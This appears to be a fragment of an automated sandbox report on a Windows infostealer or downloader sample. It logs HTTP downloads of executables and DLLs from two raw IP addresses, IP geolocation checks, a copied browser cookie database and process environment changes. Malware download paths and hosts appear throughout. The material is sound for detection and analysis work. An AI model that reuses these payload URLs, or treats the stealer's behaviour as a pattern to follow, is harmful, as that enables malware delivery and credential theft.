"VISITOR_INFO1_LIVEhaDWrBFkaNEyoutube.com/921721857510431121226274901080031085026CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367hideBrowserUpgradeBoxtrueyoutube.com/9217235645772831087832269357679831085026" (Indicator: "youtube"; File: "9G0R89S2.txt") Found string "0lQJP7I0522SRvMTT..BltjIt.NH.AAA.0.0.BltjIt.AWVojQWnZE4facebook.com/921763146918431103121354763883631085026LTK2ZZeiaKrOELLDqeJNb1ijfacebook.com/9217217592332831165482354763883631085026" (Indicator: "facebook.com"; File: "ZC7OI365.txt") Found string "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367hideBrowserUpgradeBoxtrueyoutube.com/9217235645772831087832269357679831085026" (Indicator: "youtube"; File: "P7PVRKKN.txt") Found string "0lQJP7I0522SRvMTT..BltjIt.NH.AAA.0.0.BltjIt.AWVojQWnZE4facebook.com/921763146918431103121354763883631085026" (Indicator: "facebook.com"; File: "F719FT1Y.txt") Found string "accounts.youtube.com" (Indicator: "youtube"; File: "PCAP") Found string "facebook.com" (Indicator: "facebook.com"; File: "PCAP") Found string "www.facebook.com" (Indicator: "facebook.com"; File: "PCAP") Found string "www.youtube.com" (Indicator: "youtube"; File: "PCAP") Found string "* License: https://www.facebook.com/legal/license/Ga6vBwdwgUx/" (Indicator: "facebook.com"; File: "1ZP3WcI-zUf_1_.js") Found string "* License: https://www.facebook.com/legal/license/A4tfXiHOGrs/" (Indicator: "facebook.com"; File: "1ZP3WcI-zUf_1_.js") file/memory contains long string with (Indicator: "facebook.com"; File: "1ZP3WcI-zUf_1_.js") file/memory contains long string with (Indicator: "youtube"; File: "urlref_httpswww.youtube.com") Found string "* License: https://www.facebook.com/legal/license/OKBVmODmb-W/" (Indicator: "facebook.com"; File: "9GtsBVdobiE_1_.js")3e:T4034,"GET /cost/ko.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 109.107.182.3 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 28 Jan 2024 10:52:57 GMT Content-Type: application/octet-stream Content-Length: 918016 Last-Modified: Sun 28 Jan 2024 18:30:48 GMT Connection: keep-alive ETag: "65b69d58-e0200" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000020010000....... "GET /mine/amers.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 185.215.113.68 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 28 Jan 2024 10:53:03 GMT Content-Type: application/octet-stream Content-Length: 809472 Last-Modified: Sun 28 Jan 2024 18:30:42 GMT Connection: keep-alive ETag: "65b69d52-c5a00" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000008010000....... "GET /cost/niks.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 109.107.182.3 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 28 Jan 2024 10:53:06 GMT Content-Type: application/octet-stream Content-Length: 61440 Last-Modified: Sun 28 Jan 2024 18:30:44 GMT Connection: keep-alive ETag: "65b69d54-f000" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000080000000....... "GET /cost/vinu.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 109.107.182.3 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 28 Jan 2024 10:53:07 GMT Content-Type: application/octet-stream Content-Length: 1195008 Last-Modified: Sun 28 Jan 2024 18:30:40 GMT Connection: keep-alive ETag: "65b69d50-123c00" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000018010000....... "GET /geoip/v2.1/city/me HTTP/1.1 Connection: Keep-Alive Referer: https://www.maxmind.com/en/locate-my-ip-address User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: www.maxmind.com" Response ==> HTTP/1.1 403 Forbidden Date: Sun 28 Jan 2024 10:53:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4519 Connection: keep-alive X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: max-age=15 Expires: Sun 28 Jan 2024 10:53:24 GMT Server: cloudflare CF-RAY: 84c8b0a6edc096b1-SJC with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "GET /cost/networa.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 109.107.182.3 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 28 Jan 2024 10:53:11 GMT Content-Type: application/octet-stream Content-Length: 915968 Last-Modified: Sun 28 Jan 2024 18:30:48 GMT Connection: keep-alive ETag: "65b69d58-dfa00" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000020010000....... "GET /cost/lada.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 109.107.182.3 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 28 Jan 2024 10:53:15 GMT Content-Type: application/octet-stream Content-Length: 2333696 Last-Modified: Sun 28 Jan 2024 18:49:58 GMT Connection: keep-alive ETag: "65b6a1d6-239c00" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000018010000....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 2033 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sun 28 Jan 2024 10:53:25 GMT Last-Modified: Sun 28 Jan 2024 10:19:32 GMT Server: ECAcc (sac/2551) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA216041403DE503556D14CBB66F0A3E21B1BC397B23DD155180F32....... "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 1445 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sun 28 Jan 2024 10:23:05 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 1823 with response body ==>308205A10A0100A082059A3082059606092B0601050507300101048205873082058330819EA216041432192D2918BF035A75726826C5E5F33E11AB3206180F32....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQC3n%2FpEnHuAsArL%2BHyYv98Y HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sun 28 Jan 2024 10:40:33 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 777 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 724 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sun 28 Jan 2024 10:26:55 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 1595 with response body ==>308202D00A0100A08202C9308202C506092B0601050507300101048202B6308202B230819BA2160414E4AF2B26711A2B4827852F52662CEFF08913713E180F32....... "GET /gtsr1/gtsr1.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crl.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 854 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Sun 28 Jan 2024 10:53:05 GMT Expires: Sun 28 Jan 2024 11:43:05 GMT Cache-Control: public max-age=3000 Age: 25 Last-Modified: Mon 18 Sep 2023 16:18:00 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding with response body ==>308203523082013A020101300D06092A864886F70D01010B05003047310B300906035504061302555331223020060355040A1319476F6F676C65205472757374....... "GET /gts1c3/QqFxbi9M48c.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crls.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 18625 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Sun 28 Jan 2024 10:10:57 GMT Expires: Sun 28 Jan 2024 11:00:57 GMT Cache-Control: public max-age=3000 Age: 2553 Last-Modified: Sun 28 Jan 2024 06:42:34 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding with response body ==>308248BD308247A5020101300D06092A864886F70D01010B05003046310B300906035504061302555331223020060355040A1319476F6F676C65205472757374....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5803 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sun 28 Jan 2024 10:53:31 GMT Last-Modified: Sun 28 Jan 2024 09:16:48 GMT Server: ECAcc (sac/254A) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA2160414B13EC36903F8BF4701D498261A0802EF63642BC3180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEASpLfFaUxgRZ%2BJCgfqy%2B%2BU%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 6142 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sun 28 Jan 2024 10:53:32 GMT Last-Modified: Sun 28 Jan 2024 09:11:10 GMT Server: ECAcc (sac/255C) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604145168FF90AF0207753CCCD9656462A212B859723B180F32....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDSGL5P0jvZghCoV3kPjCsM HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sun 28 Jan 2024 10:25:13 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 1701 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /geoip/v2.1/city/me HTTP/1.1 Connection: Keep-Alive Referer: https://www.maxmind.com/en/locate-my-ip-address User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: www.maxmind.com" Response ==> HTTP/1.1 403 Forbidden Date: Sun 28 Jan 2024 10:53:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4519 Connection: keep-alive X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: max-age=15 Expires: Sun 28 Jan 2024 10:54:00 GMT Server: cloudflare CF-RAY: 84c8b1865dc615b4-SJC with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEB1PEJ9gAC7lEgL62A77Qs4%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sun 28 Jan 2024 10:01:19 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 3149 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCECTIWCtOriVGCn%2FSzrsWgJo%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sun 28 Jan 2024 09:56:32 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 3440 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /geoip/v2.1/city/me HTTP/1.1 Connection: Keep-Alive Referer: https://www.maxmind.com/en/locate-my-ip-address User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: www.maxmind.com" Response ==> HTTP/1.1 403 Forbidden Date: Sun 28 Jan 2024 10:53:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4519 Connection: keep-alive X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: max-age=15 Expires: Sun 28 Jan 2024 10:54:13 GMT Server: cloudflare CF-RAY: 84c8b1db3efacfe9-SJC with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "GET /theme/Plugins/cred.dll HTTP/1.1 Host: 185.215.113.68" Response ==> HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Sun 28 Jan 2024 10:54:07 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343034204E6F7420466F756E643C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C63656E74....... "GET /mine/plata.exe HTTP/1.1 Host: 185.215.113.68" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 28 Jan 2024 10:54:07 GMT Content-Type: application/octet-stream Content-Length: 1196032 Last-Modified: Sun 28 Jan 2024 18:30:38 GMT Connection: keep-alive ETag: "65b69d4e-124000" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000018010000....... "GET /theme/Plugins/clip.dll HTTP/1.1 Host: 185.215.113.68" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 28 Jan 2024 10:54:07 GMT Content-Type: application/octet-stream Content-Length: 104448 Last-Modified: Thu 04 Jan 2024 19:50:16 GMT Connection: keep-alive ETag: "65970bf8-19800" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000010010000....... "GET /lego/moto.exe HTTP/1.1 Host: 109.107.182.3" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 28 Jan 2024 10:54:13 GMT Content-Type: application/octet-stream Content-Length: 6731040 Last-Modified: Mon 22 Jan 2024 22:40:38 GMT Connection: keep-alive ETag: "65aeeee6-66b520" Accept-Ranges: bytes with response body ==>4D5A7800010000000400000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000078000000....... "GET /geoip/v2.1/city/me HTTP/1.1 Connection: Keep-Alive Referer: https://www.maxmind.com/en/locate-my-ip-address User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: www.maxmind.com" Response ==> HTTP/1.1 403 Forbidden Date: Sun 28 Jan 2024 10:54:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4519 Connection: keep-alive X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: max-age=15 Expires: Sun 28 Jan 2024 10:54:33 GMT Server: cloudflare CF-RAY: 84c8b2587ce916a6-SJC with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220.......3f:T9dd,"SELECT name, rootpage, sql FROM '%q'.%s WHERE %s" (Source: 18815-1607-0034ED20, Indicator: "select name, rootpage, sql from '%q'.%s where %s") "UPDATE %Q.%s SET sql = sqlite_rename_table(sql, %Q), tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='" (Source: 18815-1729-0035E180, Indicator: "update %q.%s set sql = sqlite_rename_table(sql, %q) tbl_name = %q name = case when type='table' then %q when name like 'sqlite_autoindex%%' and type='index' then 'sqlite_autoindex_' || %q || substr(name,%d+18) else name end where tbl_name=%q and (type='") "UPDATE %Q.%s SET type='table', name=%Q, tbl_name=%Q, rootpage=0, sql=%Q WHERE rowid=#%d" (Source: 18815-1734-0037DBE0, Indicator: "update %q.%s set type='table', name=%q, tbl_name=%q, rootpage=0, sql=%q where rowid=#%d") "INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);" (Source: 18815-1550-00363140, Indicator: "insert into %q.%s values('index',%q,%q,#%d,%q);"), "CREATE TABLE" (Source: 18815-1811-00362010, Indicator: "create table"), "UPDATE "%w".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q" (Source: 18815-1731-0035E8B0, Indicator: "update "%w".%s set sql = substr(sql,1,%d) || ', ' || %q || substr(sql,%d) where type = 'table' and name = %q"), "UPDATE %Q.%s SET type='%s' name=%Q tbl_name=%Q rootpage=#%d sql=%Q WHERE rowid=#%d" (Source: 18815-1810-00362280, Indicator: "update %q.%s set type='%s' name=%q tbl_name=%q rootpage=#%d sql=%q where rowid=#%d"), "DELETE FROM %Q.%s WHERE name=%Q" (Source: 18815-1637-003640C0, Indicator: "delete from %q.%s where name=%q"), "DELETE FROM %Q.sqlite_stat1 WHERE idx=%Q" (Source: 18815-1637-003640C0, Indicator: "delete from %q.sqlite_stat1 where idx=%q"), "CREATE TABLE sqlite_master( type text, name text, tbl_name text, rootpage integer, sql text)" (Source: 18815-1580-00370B90, Indicator: "create table sqlite_master( type text, name text, tbl_name text, rootpage integer, sql text)"), "SELECT name rootpage sql FROM '%q'.%s" (Source: 18815-1580-00370B90, Indicator: "select name rootpage sql from '%q'.%s"), "DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'" (Source: 18815-1807-003628B0, Indicator: "delete from %q.%s where tbl_name=%q and type!='trigger'"), "DELETE FROM %Q.sqlite_stat1 WHERE tbl=%Q" (Source: 18815-1807-003628B0, Indicator: "delete from %q.sqlite_stat1 where tbl=%q")40:T596,Process "MPGPH131.exe" (UID: 00000000-00001900) was launched with missing environment variables: "PROMPT" Process "ZyDCs7HTQpTIvLXbdMDA.exe" (UID: 00000000-00004036) was launched with new environment variables: "PROMPT="$P$G"" Process "iexplore.exe" (UID: 00000000-00003112) was launched with modified environment variables: "Path" Process "yyG5C3SjQVZcO6cPStp_.exe" (UID: 00000000-00002272) was launched with modified environment variables: "Path" Process "iexplore.exe" (UID: 00000000-00003320) was launched with modified environment variables: "Path" Process "daGDjF_cYqIto1A08JmG.exe" (UID: 00000000-00002884) was launched with modified environment variables: "Path" Process "explorhe.exe" (UID: 00000000-00004272) was launched with modified environment variables: "Path" Process "explorhe.exe" (UID: 00000000-00004588) was launched with missing environment variables: "PROMPT" Process "rundll32.exe" (UID: 00000000-00004900) was launched with new environment variables: "PROMPT="$P$G"" Process "explorhe.exe" (UID: 00000000-00005232) was launched with missing environment variables: "PROMPT" Process "RageMP131.exe" (UID: 00000000-00005472) was launched with new environment variables: "PROMPT="$P$G"" Process "MPGPH131.exe" (UID: 00000000-00006124) was launched with missing environment variables: "PROMPT" Process "plata.exe" (UID: 00000000-00003836) was launched with new environment variables: "PROMPT="$P$G""41:Tac2,Observed system executable string:"%WINDIR%\system32\bcryptprimitives.dll" [Source: 00000000-00001816-00000C25-51716627] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00003352-00000C25-44760021] Observed system executable string:"%WINDIR%\system32\DUser.dll" [Source: 00000000-00004036-00000C25-151446330] Observed system executable string:"%WINDIR%\system32\xmllite.dll" [Source: 00000000-00004036-00000C25-153027805] Observed system executable string:"%WINDIR%\system32\ole32.dll" [Source: 00000000-00004036-00000C25-155904223] Observed system executable string:"%WINDIR%\system32\MSCTF.dll" [Source: 00000000-00004036-00000C25-156077294] Observed system executable string:"%WINDIR%\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.23894_none_5c0be957a009922e\gdiplus.dll" [Source: 00000000-00003264-00000C25-144753784] Observed system executable string:"%WINDIR%\system32\IMM32.DLL" [Source: 00000000-00002348-00000C25-115391622] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00002348-00000C25-117246151] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00002348-00000C25-120353972] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00002348-00000C25-121036588] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00002348-00000C25-121507765] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00002348-00000C25-122547414] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00002348-00000C25-126031526] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll" [Source: 00000000-00002348-00000C25-131813271] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00002348-00000C25-131982361] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00002348-00000C25-135034811] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00002348-00000C25-141141803] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00002348-00000C25-142592813] Observed system executable string:"%WINDIR%\system32\apphelp.dll" [Source: 00000000-00004272-0000018F-23376755]42:T3359,"moto_1_.exe" has type "PE32+ executable (GUI) x86-64 for MS Windows"- [targetUID: N/A] "RageMP131.exe.bin" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "lada_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "plata.exe.bin" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "LRjaMDKY2cdUcB6SLyRF.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "ko_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "networa_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "urlref_httpswww.youtube.com" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "explorhe.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "clip.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "xpu69xf0pKXo454_p7ah.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- [targetUID: N/A] "4lCu2zih0ca_1_.svg" has type "SVG Scalable Vector Graphics image"- [targetUID: N/A] "cred.dll" has type "HTML document ASCII text with CRLF line terminators"- [targetUID: N/A] "urlblockindex_1_.bin" has type "data"- [targetUID: N/A] "identifier_1_.htm" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "D87fZN3R3jFecookies.sqlite" has type "SQLite 3.x database user version 8 last written using SQLite version 3020001"- Location: [%TEMP%\jobA4MaUrIRSFkd_Fm\D87fZN3R3jFecookies.sqlite]- [targetUID: 00000000-00001816] "1ZP3WcI-zUf_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "xQUc0Eds-_X_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "login_1_.htm" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "9GtsBVdobiE_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "dinosaur_1_.png" has type "PNG image data 1200 x 800 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "icLLA54oFoz_1_.js" has type "C source ASCII text with very long lines"- [targetUID: N/A] "sKtrEJAtiUM_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "ykHZ2A3Nbs2_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "OTTy11lLpVy_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "CheckConnection_1_.htm" has type "HTML document ASCII text with very long lines"- [targetUID: N/A] "7rpWOfOc4cj_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "jjIbzgYTUO7_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "4UabrENHsxJlGDuGo1OIlLU94YtzCwA_1_.woff" has type "Web Open Font Format TrueType length 26412 version 1.1"- [targetUID: N/A] 